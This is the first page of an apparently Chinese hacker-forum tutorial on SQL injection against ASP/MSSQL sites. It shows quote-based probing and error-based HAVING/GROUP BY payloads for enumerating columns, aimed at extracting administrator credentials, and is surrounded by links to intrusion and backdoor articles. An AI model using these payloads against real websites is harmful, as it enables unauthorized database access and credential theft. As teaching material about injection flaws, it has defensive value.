黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客入侵 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]菜鸟SQL注入详解
      ★★★★

菜鸟SQL注入详解

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-2-11 16:09:23

利用SQL进行添加,更改,查看记录。
当一台主机台开了80端口,当你手头没有任何黑客工具,那么,偶们有SQL。
他不需要你其他东东,只要一个浏览器就够了。HOHO,偶的文章菜菜,偶写这
篇文章只是为了让一些对SQL很陌生的菜菜们看的,老鸟绕道。。。
1,什么是SQL注入?
SQL注入,就是利用欺骗的方式,通过网页的查询功能,或查询命令注入。
当用户来到网站,会提交一些数据,再到数据库进行查询,确定此用户的身份。
举个简单的例子来说吧,你去一个站点的论坛,那么,你会输入你的用户名和
密码,点“确定”,网站会通过数据库的查询来判断你是不是他们的用户,
你的用户名和密码是否正确。而利用SQL注入,通过构造特殊的语句,来查找我
们所想要得到的信息,如管理员的帐号密码。以下,小林用了http://xxx.xxx.com
来表示一个存在注入漏洞的网页。

2,助手篇,
先把IE菜单-工具-Internet选项-高级-显示友好 HTTP 错误信息前面的勾去掉。
否则,不论服务器返回什么错误,我们都只能看到“HTTP 500服务器错误”,不能获得更多的提示信息


3,哪些网页能利用?
我们去找一些要提交数据的网页,如:登陆页面,查找页面,添加页面等
找到后,如果你注意过网页的源代码,那么,你会发现,他上面一般有一个如下的表单:



这些网页,后缀如asp,jsp,cgi,php网页。
如:http://xxx.xxx.com/index.asp?id=10
上面这个例子,就是ASP页后,看到他的ID还的值了吗?是10。一般,我们找的就是这些页面
来练手了。(要做个好人噢。(^_^)像小林一样的好人。)
4,怎么测试它是存在注入漏洞的呢?这一步偶称它为“踩点”。
小林有一个毛病,看什么网页,就要顺手在参数(如上面的10)上加一个小小的引号。
http://xxx.xxx.com/index.asp?id=10
返回错误信息:
Microsoft OLE DB Provider for SQL Server 错误 80040e14
字符串 之前有未闭合的引号。
/job/grxx.asp,行141
这就是说,他用的是MsSQL数据库。这个引号,导致引号未闭合的错误。本身就是错的,因为
通常一个整数是不用在SQL里加引号的。
如果他不是一个整数而是字母呢?
http://xxx.xxx.com/index.asp?user=lamb
那我们就把引号放到lamb中间,如lamb
呵呵,又出错了吧?
这说明,站点这一部分的代码是大有问题的(当然,就算他有源码公布在网上,我也懒得看)
当然,我们也可以提交:
http://xxx.xxx.com/index.asp?id=10 ;AND columnaaa=5 (注,这里的columnaaa是我乱写的)
出现错误信息:
Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name
columnaaa.
/job/grxx.asp,行27
这说明,这是一个SQL,里面没有columnaaa这个字段(我习惯说“列”)。
利用出错的信息,我们现在多少了解了这个站点的服务了吧?
5,现在开工啦,偶不喜欢猜测他的字段名,太浪费TIME了,我们要想办法让数据查询中出错。
要产生一个错误让它自己报出数据库里的值。让我们用一用SQL语法GROUP BY 或HAVING。如:
http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--
出现错误信息:
Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14
[Microsoft][ODBC SQL Server Driver][SQL Server]Column article.newsid is
invalid in the
select list because it is not contained in an aggregate function and there
is no GROUP BY
clause.
/more.asp,行27
看到article.newsid了吗?说明有一个叫article.newsid的列,因为你在用HAVING,所以你必须还要用
上GROUP BY,于是黑客就重复错误提交,直到没有得到错误。
这里要说明一下:分号在这里分离,%20 是空格,--表示后面是一个注释,也就是说只是说明,不能去
执行代码。(*_*)
下面是具体例子:
提交:
http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1--
得到article.newsid这真是好东西。
提交:
http://xxx.xxx.com/job/grxx.asp?id=23%20group%20by%20article.newsid%20having%201=1--
得到错误信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column article.title is
invalid in the
select list because it is not contained in either an aggregate function or
the GROUP BY
clause.
/more.asp,line 20
得到:
article.title
我们反复地一个一个加上来提交。

[1] [2] [3] [4] 下一页

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886